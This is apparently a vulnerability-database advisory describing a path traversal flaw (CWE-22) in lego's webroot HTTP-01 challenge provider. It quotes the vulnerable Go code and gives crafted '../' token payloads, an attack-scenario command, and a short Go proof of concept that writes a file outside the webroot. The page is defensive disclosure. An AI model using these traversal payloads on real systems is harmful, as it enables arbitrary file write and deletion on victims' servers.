
Cloud Vulnerability DB
A community-led vulnerabilities database
The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process.
The ChallengePath() function in challenge/http01/http_challenge.go:26-27 constructs the challenge file path by directly concatenating the ACME token without any validation:
func ChallengePath(token string) string {
return "/.well-known/acme-challenge/" + token
}The webroot provider in providers/http/webroot/webroot.go:31 then joins this with the configured webroot directory and writes the key authorization content to the resulting path:
challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet ([A-Za-z0-9_-]), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as ../../../../../../tmp/evil, filepath.Join() resolves the .. components, producing a path outside the webroot directory.
The same vulnerability exists in the CleanUp() function at providers/http/webroot/webroot.go:48, which deletes the challenge file using the same unsanitized path:
err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))This additionally enables arbitrary file deletion.
In a real attack scenario, the victim uses --server to point lego at a malicious ACME server, combined with --http.webroot:
lego --server https://malicious-acme.example.com \
--http --http.webroot /var/www/html \
--email user@example.com \
--domains example.com \
runThe malicious server returns a challenge token containing path traversal sequences ../../../../../../tmp/pwned. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.
The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:
package main
import (
"fmt"
"os"
"github.com/go-acme/lego/v4/providers/http/webroot"
)
func main() {
webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
defer os.RemoveAll(webrootDir)
provider, _ := webroot.NewHTTPProvider(webrootDir)
token := "../../../../../../../../../../tmp/pwned"
provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")
data, err := os.ReadFile("/tmp/pwned")
if err == nil {
fmt.Println("[+] VULNERABILITY CONFIRMED")
fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
fmt.Printf("[+] Content: %s\n", data)
}
}go build -o exploit ./exploit.go && ./exploitExpected output:
[+] VULNERABILITY CONFIRMED
[+] File written outside webroot: /tmp/pwned
[+] Content: EXPLOITED-BY-PATH-TRAVERSALThis is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected. A malicious ACME server can:
CleanUp() code path using the same unsanitized token.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."